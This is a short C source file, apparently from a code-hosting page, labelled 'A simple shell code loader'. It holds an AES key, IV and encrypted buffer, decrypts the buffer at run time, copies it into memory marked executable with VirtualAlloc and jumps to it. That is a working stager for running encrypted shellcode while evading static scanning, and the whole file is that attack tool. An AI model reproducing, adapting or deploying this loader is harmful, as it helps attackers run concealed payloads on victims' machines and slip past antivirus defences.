35 lines
862 B
C
35 lines
862 B
C
#include <windows.h>
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#include <stdio.h>
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#include "../common/aes.h"
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struct {
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unsigned char aes_key[16];
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unsigned char aes_iv[16];
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unsigned char data[4*1024*1024];
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int len;
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} sc = { "Hello, World!" };
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// A simple shell code loader.
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// Copy left (c) yuanyuanxiang.
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int main()
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{
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if (!sc.data[0] || !sc.len)
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return -1;
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for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]);
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printf("\n\n");
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for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]);
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printf("\n\n");
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struct AES_ctx ctx;
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AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
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AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
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void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
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if (exec) {
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memcpy(exec, sc.data, sc.len);
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((void(*)())exec)();
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Sleep(INFINITE);
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}
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return 0;
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}
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